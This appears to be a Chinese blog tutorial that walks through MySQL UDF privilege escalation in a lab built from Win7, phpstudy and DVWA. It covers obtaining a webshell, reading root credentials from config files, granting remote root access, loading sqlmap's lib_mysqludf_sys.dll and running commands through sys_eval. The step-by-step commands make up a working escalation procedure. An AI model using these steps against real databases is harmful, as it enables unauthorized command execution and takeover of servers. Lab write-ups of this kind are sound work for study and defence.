数据库的权限提升

在数据库提权时要注意:

基于组件和软件的提权,提权能提到什么程度取决于组件(数据库)、网站部署时用的什么权限用户部署的。

而操作系统提权时利用系统内核漏洞打的是操作系统,所以没有像这样的运行用户的限制。

UDP提权

所用环境:Win7 + phpstudy + DVWA

简介:UDF是MySQL的一个拓展接口,提供用户自定义函数的功能,可以说是数据库功能的一种扩展。

原理:用户自定义的函数被当作本机函数执行,在使用CREATE FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而实现提权。

复制代码
UDF提权条件:
1.Mysql版本大于5.1版本
2.网站本身存在Getshell漏洞,可以通过Webshell可以将udf.dll上传到Mysql中的lib\plugin目录下
3.掌握的Mysql数据库账号有对Mysql的insert和delete权限以创建和删除函数
4.secure-file-priv参数不为null

1.通过网站漏洞获取一个shell,如webshell

webshell地址:http://192.168.1.4/DVWA/hackable/uploads/test7.php

2.翻配置文件 查找数据库账号密码

找到了 账号:root 密码:root

3.navicat连接数据库

先允许数据库被连接

复制代码
# 允许数据库远程连接
grant all privileges on *.* to "root"@"%" identified by "root";

现在再连接

4.在数据库上做一些操作

复制代码
# Mysql配置文件增加 srcure-file-priv选项
secure_file_priv=
复制代码
新建查询,查询Mysql数据库所在系统位数:64位数
show variables like '%compile%'; 
复制代码
查看plugin目录
show variables like '%plugin%'; 

plugin目录:C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\

4、制作提权dll

自己写提权dll文件太麻烦了也不会写,我们想要的自定义函数不就是命令执行吗,sqlmap可以去执行命令啊 所以:

sqlmap中一定有编码后的dll文件,路径为:

复制代码
sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_
sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

这是个编码后的文件

需要利用cloak.py进行解码获得mysqludf_sys.dll,cloak.py在sqlmap的sqlmap\extra\cloak\目录下

拿出这俩文件 执行以下命令进行解码

复制代码
python cloak.py -d -i lib_mysqludf_sys.dll_

5.将dll文件上传到C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\目录

Mysql默认安装时没有lib\plugin目录,需要新建

6.创建sys_eval函数,提权

复制代码
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

7.使用函数进行提权

复制代码
select sys_eval('whoami');

但是为什么提权之后还是普通用户miaos呢?

应为基于组件和软件的提权,提权能提到什么程度取决于组件(数据库)、网站部署时用的什么权限用户部署的。

8.靶机启用administrator 以administrator重启mysql

(1)先以管理员身份运行cmd 执行以下命令启用administrator并设置密码

复制代码
net user administrator /active:yes

net user administrator Aa123456

(2)切换administrator登录 重启mysql

9.再次尝试进行提权

复制代码
select sys_eval('whoami');

成功提升到administrator权限

【重要声明】

本文内容仅用于技术交流与学习,严禁用于任何非法用途。所有操作必须严格遵守《中华人民共和国网络安全法》及相关法律法规,仅在获得明确授权的前提下进行。读者应自行承担操作风险,作者不对任何违规使用或由此引发的法律后果负责。

相关推荐
折哥的程序人生 · 物流技术专研3 小时前
Java面试85题图解版 · 特别篇:2026后端高频面试题复盘(算法底层逻辑+高并发架构设计全解析,附Java实战代码)
java·网络·数据库·算法·面试
AOwhisky3 小时前
Redis 学习笔记(第三期):持久化与主从复制
运维·数据库·redis·笔记·学习·云计算
李白的天不白3 小时前
数据库连接报错问题
数据库
一条泥憨鱼3 小时前
【Redis】数据类型和常用命令
java·数据库·redis·后端·缓存
爱喝水的鱼丶4 小时前
SAP-ABAP:SAP视图开发入门:四类标准视图的适用场景与创建步骤详解
服务器·数据库·性能优化·sap·abap
大白要努力!5 小时前
MySQL 8.0 + Navicat 完整操作指南
数据库·mysql
云絮.5 小时前
数据库操作
数据库·mysql·算法·oracle
小小工匠6 小时前
Redis 缓存替换策略:8 种淘汰策略与 LRU 实现剖析
数据库·redis·缓存
2601_961963386 小时前
技术解剖:哈希值、区块链与CA认证如何守护电子合同安全?
网络·人工智能·安全·区块链·智能合约·政务
科技林总7 小时前
解决vllm服务漏扫问题
python·安全